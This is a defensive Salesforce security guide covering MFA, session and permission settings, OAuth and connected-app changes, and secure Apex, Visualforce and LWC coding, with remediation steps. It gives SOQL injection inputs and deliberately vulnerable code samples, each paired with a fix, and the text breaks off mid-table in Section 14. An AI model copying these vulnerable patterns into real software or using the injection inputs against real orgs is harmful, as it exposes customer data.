Salesforce Security: The Ultimate Guide to Preventing Hacks
Step-by-step instructions, code examples, and checklists to protect your org from data breaches and social engineering attacks
01 The 2025 Salesforce Breach Wave: What Happened?
Section 7 now covers external client apps, the Winter '27 migration path, the OAuth flows being retired and the device flow restriction. The rest of the guide keeps its coverage through Summer '26 (API v67). Originally published November 2025.
What's New in This Update (November 2026)
- Added: Section 7 covers external client apps, the Winter '27 "Migrate to External Client App" button, the OAuth flows being retired (username-password, user-agent, hybrid user-agent) and the device flow restriction, with the release-note wording and dates
- Added: A video walkthrough of the Winter '27 connected app and external client app changes
- Updated: Permission strategy guidance now reflects Salesforce's current direction - permission sets remain the recommended model, with no retirement deadline for profile permissions
- Added: Summer '26 (API v67) secure-by-default coverage - Apex database operations now run in user mode by default
- Added: 2026 MFA enforcement expansion (SSO and sandbox logins in scope)
- Expanded: Connected app restrictions coverage including bypass permissions
- Updated: Latest breach-landscape intelligence with per-source figures
- Updated: Secure Coding Guide reference now v67.0 (Summer '26)
In 2025, the Salesforce ecosystem experienced an unprecedented series of coordinated attacks. Understanding what happened is the first step to preventing similar incidents in your organization.
Critical Alert: According to security industry reporting, hundreds of organizations reportedly had their Salesforce instances compromised through social engineering and OAuth abuse in 2025. Salesforce posts official incident notifications on the Salesforce Trust general messages page.
Major Incidents Timeline
| Date | Company | Impact |
|---|---|---|
| June 2025 | 2.55 million customer records exposed | |
| July 2025 | Allianz Life | Customer data compromised via ShinyHunters |
| August 2025 | Chanel, Pandora | Fashion brands targeted in coordinated attack |
| August 2025 | Workday | Business contact information accessed from a limited subset of records; no record count disclosed |
| August 2025 | Farmers Insurance | 1.1 million customer records disclosed |
| Aug 2025 | Airlines (KLM, Air France, etc.) | Passenger data and loyalty numbers exposed |
To put the campaign in perspective: researchers estimate the overall 2025 ShinyHunters campaign against Salesforce customers exposed roughly 70 million records in aggregate, spread across thousands of organizations. That figure describes the entire campaign - no single victim accounted for it.
How the Attacks Worked
The breaches were not due to Salesforce platform vulnerabilities. As documented in Salesforce Trust notifications, the attacks exploited:
- Social Engineering (Vishing): Attackers posed as Salesforce support staff, calling employees and convincing them to install malicious software
- OAuth Token Abuse: Once access was gained, attackers used legitimate OAuth features to exfiltrate data
- Supply Chain Compromise: The Salesloft-Drift integration was compromised, providing OAuth tokens to hundreds of organizations
- Browser Extension Attacks: In December 2024, at least 35 Chrome extensions were compromised in a supply chain attack, exposing session cookies and credentials of roughly 2.6 million users; a related February 2025 GitLab analysis found malicious extensions impacting 3.2+ million users (See Section 14)
Key Lesson: A secure platform doesn't guarantee a secure org. Most breaches result from misconfiguration and social engineering, not technical exploits.
02 Salesforce Security Health Check
The Security Health Check is your first line of defense. It's a built-in tool that scores your org's security settings from 0-100.
Step-by-Step: Running Health Check
Navigate to Health Check
Go to Setup > Quick Find > Type "Health Check" > Click Health Check
Review Your Score
Your org receives a score from 0-100. Aim for 80+ as a minimum. Below 60 indicates critical security gaps.
Fix High-Risk Issues
Click Fix Risks to automatically apply recommended settings, or click individual settings to configure manually.
Key Settings to Review
| Setting | Risk Level | Recommended Value |
|---|---|---|
| Password Minimum Length | High | 12+ characters |
| Password Complexity | High | Must include letters, numbers, special chars |
| Session Timeout | Medium | 2 hours or less |
| Lock Sessions to IP | Medium | Enabled (if users don't roam) |
| Require HTTPS | High | Always enabled |
Pro Tip: According to the Salesforce Health Check documentation, you can create up to 5 custom baselines to measure against your organization's specific security requirements instead of the default Salesforce Baseline.
03 Multi-Factor Authentication (MFA)
Since February 2022, MFA is contractually required for all Salesforce customers. Even if credentials are stolen, MFA adds a second check that an attacker also has to pass. It lowers the risk a lot but is not a guarantee, for example when a user approves a fake prompt.
2026 Enforcement Update: Salesforce is expanding technical MFA enforcement in mid-2026. SSO logins and sandbox environments are now in scope, and the platform blocks non-compliant logins rather than relying on contractual policy alone. If any of your login flows still bypass MFA, now is the time to close those gaps.
Step-by-Step: Enable MFA for All Users
Configure Session Settings
Go to Setup > Session Settings > Scroll to Session Security Levels > Move Multi-Factor Authentication to the High Assurance column > Click Save
Create MFA Permission Set
Go to Setup > Permission Sets > Click New > Name it "MFA_Required" > Save
Enable MFA Permission
In your new permission set, click System Permissions > Click Edit > Enable "Multi-Factor Authentication for User Interface Logins" > Save
Assign to All Users
Click Manage Assignments > Add Assignment > Select all users > Assign
Supported MFA Methods
| Method | Description | Best For |
|---|---|---|
| Salesforce Authenticator | Push notifications, location-based auto-approval | Most non-privileged users (recommended) |
| TOTP Apps | Google Authenticator, Microsoft Authenticator, Authy | Users preferring third-party apps |
| Security Keys | YubiKey, Titan Security Key (USB/NFC) | High-security users, admins (see the privileged users note) |
| Built-in Authenticators | Touch ID, Face ID, Windows Hello | Users with biometric devices |
Privileged users: Per Understand MFA Requirements, "internal users with certain privileged permissions, such as admins, are required to use phishing-resistant verification methods for MFA starting in June 2026." A user counts as privileged with the System Administrator profile or the Author Apex, Customize Application, Modify All Data or View All Data permission. Push and TOTP are fine for ordinary users, but check Salesforce's MFA Verification Method Tiers page before you choose methods for admins and developers. The same page says "MFA isn't required for API logins, but MFA is required for automation or integration users who access the Salesforce UI."
DO
- Require users to register multiple MFA methods as backup
- Use MFA with Single Sign-On (SSO) for layered security
- Train users on recognizing fake MFA prompts
- Set up admin procedures for MFA reset requests
DON'T
- Rely solely on Trusted IP Ranges (doesn't satisfy MFA requirement)
- Allow users to skip MFA setup
- Share MFA devices between users
- Approve MFA requests without verifying the login attempt
04 Session Security Settings
Session settings control how long users stay logged in and what protections are applied during their session. Proper configuration prevents session hijacking and limits exposure if credentials are compromised.
Critical Session Settings
Navigate to Setup > Session Settings to configure these settings:
| Setting | Recommended Value | Why |
|---|---|---|
| Session Timeout | 2 hours (or less for sensitive data) | Limits exposure from unattended sessions |
| Force Logout on Session Timeout | Enabled | Prevents token reuse after timeout |
| Lock Sessions to IP Address | Enabled (if users don't roam) | Prevents session hijacking from other IPs |
| Lock Sessions to Domain | Enabled | Prevents cross-domain session theft |
| Clickjack Protection | Enabled for all pages | Prevents UI redressing attacks |
| Require Secure Connections (HTTPS) | Enabled | Encrypts all traffic |
Login IP Restrictions (Profile Level)
According to Salesforce Trailhead security module, you can restrict login to specific IP ranges per profile:
Navigate to the Profile
Go to Setup > Profiles > Select the profile > Login IP Ranges
Add Allowed IP Ranges
Click New > Enter Start IP and End IP > Add description (e.g., "Corporate VPN") > Save
Login Hours Restrictions
Limit when users can log in to reduce off-hours attack windows:
Configure Login Hours
Go to Setup > Profiles > Select profile > Login Hours > Click Edit
Set Allowed Hours
Click and drag to select allowed hours for each day. Gray means blocked, colored means allowed.
Important: Login IP ranges are checked when users log in; whether an open session stays tied to an IP address depends on the session settings above (such as Lock Sessions to IP Address). Login hours work differently: per Salesforce Help, "If users are logged in when their login hours end, they can continue to view their current page, but they can't take any further action." See View and Edit Login Hours in Profiles.
05 Permission Sets & Least Privilege
The principle of least privilege is fundamental: users should have only the minimum permissions needed to do their job. This limits the blast radius of any security incident.
Note: Permission Sets and Permission Set Groups remain Salesforce's recommended access-control model. While Salesforce has signaled this direction for years, there is currently no retirement deadline for permissions on profiles. Adopt permission sets as a best practice on your own timeline rather than waiting for a forced migration.
Step-by-Step: Audit High-Risk Permissions
Dangerous Permissions to Review
| Permission | Risk | Who Should Have It |
|---|---|---|
| Modify All Data | Critical | System Admin only |
| View All Data | Critical | Auditors, limited admins |
| Manage Users | High | User admins only |
| Author Apex | High | Developers only (not in prod) |
| API Enabled | Medium | Integration users, power users |
| Export Reports | Medium | Approved analysts only |
How to Find Over-Privileged Users
-- SOQL Query: Find users with Modify All Data permission
SELECT Id, Name, Profile.Name
FROM User
WHERE Profile.PermissionsModifyAllData = true
AND IsActive = true
-- Find all permission sets with View All Data
SELECT Id, Name, PermissionsViewAllData
FROM PermissionSet
WHERE PermissionsViewAllData = true
Best Practice: Permission Set Architecture
Create Role-Based Permission Sets
Create separate permission sets for each function: "Sales_Read", "Sales_Create", "Sales_Admin"
Group into Permission Set Groups
Combine permission sets into groups: "Sales_User_Group" includes Sales_Read + Sales_Create
Assign Groups to Users
Assign users to permission set groups rather than individual permission sets for easier management
DO
- Use Minimum Access profile as the base
- Grant permissions through Permission Sets only
- Review permissions quarterly
- Remove permissions when roles change
DON'T
- Clone System Administrator profile
- Give "Modify All Data" to resolve access issues
- Leave terminated users active
- Create user-specific permission sets
06 Field-Level Security (FLS)
Field-Level Security controls which fields users can see and edit. According to Salesforce data security documentation, FLS is enforced across all parts of Salesforce including reports, list views, and search results.
Configuring FLS for Sensitive Fields
Navigate to Field
Setup > Object Manager > Select Object > Fields & Relationships > Select Field
Set Field-Level Security
Click Set Field-Level Security > Configure Visible/Read-Only for each profile > Save
Enforcing FLS in Apex Code
According to Apex developer documentation, Apex has historically run in system context by default, bypassing FLS - which meant you had to explicitly enforce security in code.
Secure by Default in Summer '26: Starting with API version 67.0 (Summer '26), SOQL, SOSL, DML statements, and Database methods run in user mode by default for Apex code compiled at v67 or later. This is not retroactive - classes saved on earlier API versions still run in system mode, so the explicit techniques below remain essential for existing code.
Method 1: User Mode Queries (Recommended - GA Spring '23, API v57; default at API v67+)
// RECOMMENDED: User mode automatically enforces CRUD and FLS
List<Account> accounts = [
SELECT Id, Name, AnnualRevenue, Phone
FROM Account
WITH USER_MODE
];
// For DML operations
Database.insert(newAccounts, AccessLevel.USER_MODE);
Method 2: WITH SECURITY_ENFORCED
// Throws exception if user lacks field access
List<Contact> contacts = [
SELECT Id, Name, Email, SSN__c
FROM Contact
WITH SECURITY_ENFORCED
];
// If user can't see SSN__c, query throws System.QueryException
Method 3: Manual Security Checks
public class SecureContactController {
public static List<Contact> getContacts() {
// Check object-level access
if (!Schema.sObjectType.Contact.isAccessible()) {
throw new AuraHandledException('You do not have access to Contacts');
}
// Check field-level access
if (!Schema.sObjectType.Contact.fields.Email.isAccessible()) {
throw new AuraHandledException('You do not have access to Email field');
}
return [SELECT Id, Name, Email FROM Contact LIMIT 100];
}
public static void updateContact(Contact con) {
// Check update permission
if (!Schema.sObjectType.Contact.isUpdateable()) {
throw new AuraHandledException('You cannot update Contacts');
}
// Check field update permission
if (!Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
throw new AuraHandledException('You cannot update Email field');
}
update con;
}
}
Security Alert: Never use without sharing keyword unless absolutely necessary. It bypasses sharing rules and can expose sensitive data. If you must use it, document why and review regularly.
07 OAuth, Connected Apps & External Client Apps Security
Connected Apps and OAuth tokens were the primary attack vector in the 2025 breach wave. According to Salesforce Connected Apps documentation, proper configuration is essential. Salesforce's current direction is external client apps: the Winter '27 release notes say that connected apps keep working but lose support in Summer '27. This section keeps the connected app advice that still applies and adds the migration path and the flows being retired.
Updated November 2026: Salesforce is retiring three OAuth flows (username-password, user-agent and hybrid user-agent) and restricting a fourth, the device flow, to local external client apps. Salesforce also blocks uninstalled connected apps by default for most users (announced for September 2025). Dates and exact wording are in the table below.
What Winter '27 Changes for Connected Apps and OAuth Flows
The wording below is quoted from the Salesforce release notes and Help article (Winter '27, release 264; read in October 2026). Check the Release Updates page in your own org, because enforcement dates and test run options are shown there.
| Change | What Salesforce says | Date |
|---|---|---|
| Migrate All Connected Apps to External Client Apps | "In Summer '27, Salesforce is ending support for connected apps. Connected apps will keep working, but Salesforce will no longer fix bugs or provide support for the integrations and authorization flows that use them." Applies to Lightning Experience in Enterprise, Unlimited, and Developer editions. | Available starting in Winter '27; "enforced for production instances in Summer '27" |
| OAuth 2.0 username-password flow retirement | "This update will break all connected app integrations that use this flow." Use the "OAuth 2.0 web-server flow with the Proof Key for Code Exchange (PKCE) extension" for end user login and the "OAuth 2.0 client credentials flow" for server-to-server integrations. | Enforcement postponed to February 20, 2027 |
| OAuth user-agent and hybrid user-agent flows retirement | "The user-agent and hybrid user-agent flows are insecure because they directly expose access tokens to the browser." Update integrations to "the OAuth web-server flow or hybrid web-server flow with the Proof Key for Code Exchange (PKCE) extension." For apps installed from managed packages, "contact the app developer." | Enforced on February 20, 2027 |
| Restrict the OAuth 2.0 device flow | Salesforce is "restricting this flow to local external client apps with a localhost callback URL." "For connected apps, you must migrate to external client apps to continue using the device flow." | "Salesforce enforces this update by blocking the device flow for non-compliant apps on November 30, 2026." |
| SOAP API login() in versions 31.0 through 64.0 | "In Summer '27, the SOAP API login() call in SOAP API versions 31.0 through 64.0 will no longer be supported and no longer be available." The note says to "use external client apps for authentication." | Summer '27 |
| Use Any API Auth for SOAP API login() | "All users must have the Use Any API Auth user permission assigned to them" to authenticate with SOAP API login(). | Enforced uniformly across all orgs beginning December 1, 2026 |
| Refresh Token Idle TTL Is Limited to 30 Days | "Refresh tokens expire if they haven't been used for 30 days." At enforcement Salesforce "immediately expires refresh tokens that have been idle for more than 30 days along with their associated access token", and for flows without refresh tokens expires access tokens whose last login was more than 30 days ago. Interactive end-user apps log the user out; background integrations must request a new token. | Production, scratch and Developer Edition orgs on a rolling basis starting November 4, 2026 |
Migrating a Connected App to an External Client App
Inventory Your Connected Apps
Open Setup > App Manager and list every connected app. Integrations, mobile sign-in and single sign-on can all run through connected apps, so check owners before you change anything. Note that, per Salesforce Help, "You can't migrate single sign-on connected apps to external client apps" at this time.
Check Eligibility and Flows First
Per Connected App to External Client App Migration, the Migrate button appears only if the app meets all eligibility requirements: User Provisioning is not enabled, no custom Apex handler is configured, Canvas is not enabled, SAML does not use Triple DES encryption, and no standard notification subscriptions are configured for non-internal apps. Also confirm the app does not use the username-password flow: "The migration process can't detect username-password flow" and "External client apps don't support username-password flow", so an integration that uses it will not work on the new app. Move it to the web server flow with PKCE or the client credentials flow instead. The migration dialog in my own run also asked me to confirm the app uses neither the username-password flow nor dynamic client registration, which external client apps don't support, so confirm it for your own app first.
Migrate
Salesforce's steps: "From the App Manager in Setup, open the connected app and click Migrate to External Client App. The automated process creates an external client app." In my run the dialog said it "creates an identical external client app with the same plugins and functionality." Help adds that migration preserves the consumer key and secret and that refresh tokens remain valid. Migration works only through the user interface, not the API or CLI.
Keep the Original Connected App
Help says: "Don't delete the original connected app after migration. Both apps share the same consumer." The original stays in App Manager as a read-only version.
Review the Migrated App's Security Settings
The Summer '26 release note (re-read on 9 November 2026) says the OAuth controls apply to apps "created in July 2026 and later" and that "if you migrate to an external client app, Salesforce doesn't enforce these controls for the migrated app", so a migrated older app does not get PKCE and rotation switched on for it. The 30-day idle refresh token limit is a separate, later enforcement on all connected apps and external client apps (production rollout from November 4, 2026, see the table), so it applies to the migrated app too. Turn on PKCE and rotation yourself where your flows allow it, and expect users and integrations to sign in again if their refresh token was idle for more than 30 days.
Use Test Run Before Enforcement
Release updates often provide a Test Run option so you can enable an update and examine any changes before the Complete Steps By date. For the SOAP login() retirement, "the test run disables the SOAP API login() call in your org", so treat it as an outage test and run it in a sandbox first.
Building a New External Client App
New integrations should start as external client apps. The Summer '26 release note says "by default, Salesforce blocks you from creating new connected apps", and in the orgs I tried, creating one gave: "You can't create a connected app. To enable connected app creation, contact Salesforce Customer Support." Salesforce also enforces OAuth security controls for new apps: "The Proof Key for Code Exchange (PKCE) extension is required for apps that use the authorization code grant type. For apps that use the refresh token flow, Salesforce requires two controls: refresh token rotation and a 30-day limit to the time-to-live (TTL) for idle refresh tokens." Those settings come ticked and locked on a new app.
Finding SOAP login() Callers
Salesforce's Help article "Platform SOAP API login() Retirement & new Security Requirements" says to use Login History: look for entries with LoginType "Other Apex API" or "Partner Product", Login Subtype "SOAP API", and API Type "SOAP Enterprise", "SOAP Partner" or "SOAP Tooling". "The Application field shows N/A to indicate that the SOAP client isn't bound to a connected app or external client app." Replacements it names: "For server-to-server or headless integration, use either the OAuth 2.0 JWT bearer flow or the OAuth 2.0 client credentials flow. For browser-based or user-driven integration, use the OAuth 2.0 web server flow." Source: Salesforce Help article 005132110.
Audit the Bypass Permissions: Two system permissions exempt users from these restrictions - "Approve Uninstalled Connected Apps" and "Use Any API Client". Audit who holds them and remove them from everyone who doesn't strictly need them. Salesforce help documentation also notes that, as of Spring '26, connected app creation itself is restricted by default, giving admins tighter control over what gets built in the org.
Step-by-Step: Secure Connected App Configuration
Still applies: these steps cover the connected apps you keep until you migrate them, and the same questions (who can authorize, how long tokens live, where tokens can be used) apply to external client apps. Setup labels for external client apps differ, so check the screen in your org.
Audit Existing Connected Apps
Setup > Connected Apps OAuth Usage > Review all apps and their access levels
Block Untrusted Apps
For any unknown apps, click Block to immediately revoke access and prevent future connections
Configure Admin-Approved Authorization
For each Connected App: Manage > Edit Policies > Set Permitted Users to "Admin approved users are pre-authorized"
Set Token Expiration
Under OAuth Policies, set Refresh Token Expiration to 90 days or less. Enable Refresh Token Rotation. Salesforce also limits idle refresh tokens to 30 days (see the table above).
Connected App Security Checklist
Code: Creating a Secure Connected App
This metadata example is for reference. Orgs that block new connected apps will refuse to deploy it, and new integrations should be built as external client apps.
{
"fullName": "Secure_Integration_App",
"label": "Secure Integration App",
"oauthConfig": {
"callbackUrl": "https://your-app.com/oauth/callback",
"isAdminApproved": true,
"scopes": ["api", "refresh_token"],
"isSecretRequiredForRefreshToken": true,
"isCodeCredentialPostOnly": true
},
"oauthPolicy": {
"ipRelaxation": "ENFORCE",
"refreshTokenPolicy": "SPECIFIC_EXPIRATION",
"refreshTokenValidityPeriod": 90,
"singleLogoutUrl": "https://your-app.com/logout"
}
}
Important Distinction: While Connected Apps appear in OAuth Usage reports and can be managed through Setup, browser extensions are not visible to Salesforce as apps. Extensions piggyback on user sessions, so they are not listed in Connected Apps or OAuth Usage and their actions are attributed to the user. See Section 14: Browser Extension Risks to understand this hidden threat vector.
08 SOQL Injection Prevention
SOQL injection is one of the OWASP Top 10 vulnerabilities. It occurs when user input is directly concatenated into dynamic SOQL queries, allowing attackers to modify query logic.
Vulnerable vs. Secure Code Examples
VULNERABLE: Direct String Concatenation
// DANGEROUS - DO NOT USE
public List<Account> searchAccounts(String searchTerm) {
String query = 'SELECT Id, Name FROM Account WHERE Name = \'' + searchTerm + '\'';
return Database.query(query);
}
// Attacker input: ' OR Name != '
// Results in: SELECT Id, Name FROM Account WHERE Name = '' OR Name != ''
// Returns ALL accounts!
SECURE Method 1: Static Queries with Bind Variables (Recommended)
// SECURE - Bind variable prevents injection
public List<Account> searchAccounts(String searchTerm) {
return [SELECT Id, Name FROM Account WHERE Name = :searchTerm];
}
// Even better: Use LIKE with bind variable
public List<Account> searchAccountsLike(String searchTerm) {
String sanitizedTerm = '%' + searchTerm + '%';
return [SELECT Id, Name FROM Account WHERE Name LIKE :sanitizedTerm];
}
SECURE Method 2: escapeSingleQuotes (When Dynamic SOQL Required)
// SECURE - Escapes single quotes in user input
public List<Account> dynamicSearch(String searchTerm) {
String escapedTerm = String.escapeSingleQuotes(searchTerm);
String query = 'SELECT Id, Name FROM Account WHERE Name LIKE \'%' + escapedTerm + '%\'';
return Database.query(query);
}
SECURE Method 3: Database.queryWithBinds (GA Spring '23, API v57+)
// SECURE - Modern approach with bind map
public List<Account> modernSearch(String searchTerm, String industry) {
String query = 'SELECT Id, Name, Industry FROM Account WHERE Name LIKE :searchTerm';
if (String.isNotBlank(industry)) {
query += ' AND Industry = :industry';
}
Map<String, Object> bindMap = new Map<String, Object>{
'searchTerm' => '%' + searchTerm + '%',
'industry' => industry
};
return Database.queryWithBinds(query, bindMap, AccessLevel.USER_MODE);
}
Handling Non-String Inputs
According to Salesforce Apex Developer Guide, escapeSingleQuotes doesn't protect against all injection types:
// VULNERABLE - Boolean injection
String isActiveInput = 'true OR ReceivesAdminInfoEmails=true';
String query = 'SELECT Id FROM User WHERE IsActive=' + String.escapeSingleQuotes(isActiveInput);
// Injection succeeds because no quotes are needed!
// SECURE - Typecast to enforce data type
public List<User> getUsersByStatus(String isActiveInput) {
Boolean isActive;
try {
isActive = Boolean.valueOf(isActiveInput);
} catch (Exception e) {
throw new AuraHandledException('Invalid input');
}
return [SELECT Id, Name FROM User WHERE IsActive = :isActive];
}
DO
- Use static SOQL with bind variables whenever possible
- Use
escapeSingleQuotes()for string values in dynamic SOQL - Typecast non-string inputs (Integer, Boolean, Date)
- Validate input format with regex before use
- Use
Database.queryWithBinds()for complex dynamic queries
DON'T
- Concatenate user input directly into queries
- Trust
escapeSingleQuotesalone for non-string values - Build ORDER BY or LIMIT clauses from user input
- Allow users to specify field names dynamically
09 Cross-Site Scripting (XSS) Prevention
XSS attacks inject malicious scripts into web pages viewed by other users. Salesforce has built-in protections, but developers must follow best practices to avoid creating vulnerabilities.
XSS in Visualforce Pages
VULNERABLE: Unescaped Output
<!-- DANGEROUS - escape="false" allows XSS -->
<apex:outputText value="{!userInput}" escape="false" />
<!-- DANGEROUS - Direct output in JavaScript -->
<script>
var name = '{!JSENCODE(userInput)}'; // Must use JSENCODE
</script>
SECURE: Proper Escaping
<!-- SECURE - Default behavior escapes HTML -->
<apex:outputText value="{!userInput}" />
<!-- SECURE - Explicit HTML encoding -->
<apex:outputText value="{!HTMLENCODE(userInput)}" />
<!-- SECURE - For JavaScript contexts -->
<script>
var name = '{!JSENCODE(userInput)}';
var data = {!JSINHTMLENCODE(jsonData)};
</script>
<!-- SECURE - For URL parameters -->
<a href="/page?param={!URLENCODE(userInput)}">Link</a>
XSS in Lightning Web Components
According to Salesforce LWS Sanitization documentation, LWC provides automatic HTML escaping by default, but DOM manipulation can introduce vulnerabilities:
// SECURE - Template expressions are auto-escaped
<template>
<p>{userInput}</p> <!-- Automatically escaped -->
</template>
// VULNERABLE - Direct innerHTML assignment
connectedCallback() {
// DANGEROUS - Allows XSS (even with LWS, user input should be validated)
this.template.querySelector('div').innerHTML = this.userInput;
}
// SECURE - Use textContent for plain text
connectedCallback() {
// SAFE - textContent escapes HTML
this.template.querySelector('div').textContent = this.userInput;
}
// RECOMMENDED - Use lightning-formatted-rich-text for HTML content
// In your template:
<template>
<lightning-formatted-rich-text value={richTextContent}>
</lightning-formatted-rich-text>
</template>
// The component automatically sanitizes HTML and only allows safe tags
Best Practice: According to Salesforce Trailhead security module, avoid using lwc:dom="manual" wherever possible. Let LWC manipulate the DOM - it provides the best sanitization through Lightning Web Security (LWS).
Using lightning-formatted-rich-text (Recommended)
The lightning-formatted-rich-text component automatically sanitizes HTML to prevent XSS:
// HTML template
<template>
<lightning-formatted-rich-text
value={userProvidedHtml}>
</lightning-formatted-rich-text>
</template>
// Supported tags (all others are stripped):
// a, abbr, b, br, big, blockquote, code, del, div, em,
// h1-h6, hr, i, img, ins, li, ol, p, pre, s, small,
// span, strong, sub, sup, table, tbody, td, th, tr, u, ul
Encoding Functions Reference
| Function | Context | Use Case |
|---|---|---|
HTMLENCODE() |
HTML body | Text displayed in HTML elements |
JSENCODE() |
JavaScript strings | Values in JS string literals |
JSINHTMLENCODE() |
JS in HTML | JS in onclick handlers, etc. |
URLENCODE() |
URL parameters | Query strings, paths |
10 Cross-Site Request Forgery (CSRF) Protection
CSRF attacks trick authenticated users into performing unwanted actions. Salesforce has built-in CSRF protection, but there are edge cases developers must handle.
Salesforce Built-in Protection
According to the Salesforce Secure Coding Guide (v67.0, Summer '26), CSRF protection is automatically enabled:
- Visualforce Pages: Automatic CSRF tokens included in forms
- Lightning Web Components: Protected via Lightning Web Security (LWS); legacy Aura contexts still rely on Lightning Locker
- REST API: Session ID acts as CSRF token
Known Vulnerability: Page Load DML
Critical: CSRF protection has a brief vulnerability window during page load. Never perform DML operations in constructors or initialization methods.
// VULNERABLE - DML in page constructor
public class VulnerableController {
public VulnerableController() {
// DANGEROUS - Executes before CSRF check completes
delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
}
}
// VULNERABLE in LWC - DML on load
@AuraEnabled
public static void riskyMethod() {
// Don't call this from connectedCallback()!
delete [SELECT Id FROM Task LIMIT 10];
}
// SECURE - Require explicit user action
public PageReference deleteRecords() {
// Safe - Called via button click after page fully loaded
if (ApexPages.currentPage().getParameters().containsKey('confirm')) {
delete [SELECT Id FROM Task WHERE OwnerId = :UserInfo.getUserId()];
}
return null;
}
LWC Best Practices
// VULNERABLE - DML on component load
connectedCallback() {
deleteRecords(); // DON'T DO THIS
}
// SECURE - Require user interaction
handleDeleteClick() {
// Show confirmation first
if (confirm('Are you sure?')) {
deleteRecords();
}
}
REST API CSRF Considerations
// When making API calls from external apps, include session token
fetch('/services/data/v65.0/sobjects/Account', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + sessionId,
'Content-Type': 'application/json',
// Salesforce validates session ID as CSRF token
},
body: JSON.stringify(accountData)
});
11 Shield Platform Encryption
Shield Platform Encryption provides an extra layer of protection by encrypting sensitive data at rest. It's part of the Salesforce Shield add-on product.
What Shield Encryption Protects
| Data Type | Encryption Available |
|---|---|
| Standard and Custom Fields | Text, Text Area, Long Text Area, Email, Phone, URL, Date, DateTime |
| Files and Attachments | All files, attachments, and Salesforce Files |
| Search Index | Index entries for encrypted fields |
| Chatter | Posts, comments, questions, answers |
Step-by-Step: Enable Shield Encryption
Enable Shield Platform Encryption
Setup > Platform Encryption > Encryption Policy > Enable
Generate Tenant Secret
Key Management > Generate Tenant Secret > Choose type (Data, Files, Search Index)
Select Fields to Encrypt
Encryption Policy > Encrypt Fields > Select objects and fields > Save
Enable File Encryption
Encryption Policy > Encrypt Files and Attachments > Enable
Important Considerations:
- Encrypted fields cannot be used in certain SOQL operations (LIKE, ORDER BY on encrypted fields)
- Field history tracking works but stores encrypted values
- Some integrations may need updating to handle encrypted data
- Backup your tenant secrets securely - if lost, data cannot be recovered
Bring Your Own Key (BYOK)
For maximum control, organizations can manage their own encryption keys:
# Generate key material using OpenSSL
openssl rand -out customer-key.bin 32
# Wrap the key with Salesforce certificate (obtained from Setup)
openssl pkeyutl -encrypt \
-in customer-key.bin \
-out wrapped-key.bin \
-pubin -inkey salesforce-cert.pem \
-pkeyopt rsa_padding_mode:oaep \
-pkeyopt rsa_oaep_md:sha256
12 Event Monitoring & Auditing
Continuous monitoring is essential for detecting security incidents early. According to Salesforce Event Monitoring documentation, comprehensive logging enables rapid incident response.
Built-in Monitoring Tools (Free)
1. Login History
Setup > Login History > View last 20,000 logins (6 months via CSV export)
-- Query login history in Apex
SELECT Id, UserId, LoginTime, SourceIp, Status, Application, Browser
FROM LoginHistory
WHERE LoginTime > LAST_N_DAYS:7
ORDER BY LoginTime DESC
2. Setup Audit Trail
Setup > View Setup Audit Trail > The 20 most recent setup changes; click Download for the full setup history of the past 180 days (Salesforce Help)
-- Query setup changes
SELECT Id, CreatedDate, CreatedById, CreatedBy.Name, Action, Section, Display
FROM SetupAuditTrail
WHERE CreatedDate > LAST_N_DAYS:30
ORDER BY CreatedDate DESC
3. Field History Tracking
Enable on sensitive fields to track who changed what and when.
Event Monitoring (Shield - Paid)
Shield Event Monitoring provides comprehensive visibility:
| Event Type | What It Tracks | Security Use Case |
|---|---|---|
| Login Event | All login attempts (success/failure) | Detect brute force, unusual locations |
| API Event | All API calls with details | Detect bulk data extraction |
| Report Export | Report downloads and exports | Detect data exfiltration |
| Permission Changes | Permission set/profile changes | Detect privilege escalation |
| URI Event | All page views with timing | Usage patterns, performance |
Setting Up Real-Time Alerts
Create Transaction Security Policy
Setup > Transaction Security > New Policy
Define Trigger Conditions
Example: trigger when a single API request processes more than 50,000 rows (the example threshold in the code below; adapt it to your org)
Set Actions
Choose: Block, Multi-Factor Authentication Required, or Notify
// Example to adapt: Apex condition for a policy created in Real-Time Event Monitoring.
// evaluate() returns true when the event triggers the policy.
global class HighVolumeAPIPolicy implements TxnSecurity.EventCondition {
public Boolean evaluate(SObject event) {
ApiEvent apiEvent = (ApiEvent) event;
// Trigger when one API request processes more than 50,000 rows
return apiEvent.RowsProcessed != null && apiEvent.RowsProcessed > 50000;
}
}
// The ApiEvent field and the 50,000-row threshold are illustrative; adapt them.
// Test the policy in a sandbox with Notify before you switch the action to Block.
13 Social Engineering Defense
The 2025 breaches primarily used social engineering - attackers calling employees and convincing them to install malicious software. According to Salesforce Security Best Practices, technical controls alone aren't enough.
Common Attack Scenarios
| Attack Type | How It Works | Defense |
|---|---|---|
| Vishing (Voice Phishing) | Attacker calls claiming to be Salesforce support, asks to install "diagnostic tool" | Verify through official channels, never install unsolicited software |
| Fake OAuth Consent | Attacker sends OAuth authorization link for malicious app | Admin-only app approval, user training |
| Credential Phishing | Fake Salesforce login page captures username/password | MFA, check URL, security awareness training |
| Pretexting | Attacker creates elaborate scenario to gain trust before requesting access | Verify identity through known contacts, follow procedures |
Security Awareness Training Checklist
Technical Controls Against Social Engineering
- Block Uninstalled Connected Apps: Prevents users from authorizing rogue apps (enabled by default in Sept 2025+)
- Require Admin App Approval: All OAuth apps need admin pre-authorization
- High Assurance MFA: Require MFA for all logins, not just first-time
- IP Restrictions: Limit login to known corporate IPs/VPN
- Real-Time Alerts: Notify admins of unusual login patterns
- Browser Extension Controls: Implement allowlisting to prevent malicious extensions - Salesforce's app controls (such as Connected Apps) do not cover them (See Section 14)
14 Browser Extension Security Risks: The Hidden Threat to Your Salesforce Data
Salesforce Chrome extensions have become an essential part of many users' workflows, offering productivity enhancements and automation capabilities. However, these same extensions represent a significant and often overlooked security vulnerability that can lead to devastating data breaches.
Critical Warning: In December 2024, a supply chain attack compromised at least 35 Chrome extensions exposing roughly 2.6 million users. Attackers phished developer accounts and pushed malicious updates that stole cookies, session tokens, and credentials. A related February 2025 GitLab Threat Intelligence analysis found malicious extensions impacting 3.2+ million users. Even legitimate extensions with excessive permissions can be exploited if compromised.
How Chrome Extensions Can Compromise Salesforce Security
Browser extensions operate with significant privileges that can bypass Salesforce's built-in security controls:
| Attack Vector | How It Works | Impact |
|---|---|---|
| Session Hijacking | Extension reads Salesforce session cookies (sid) and forwards them to attacker's server | Complete account takeover without needing credentials |
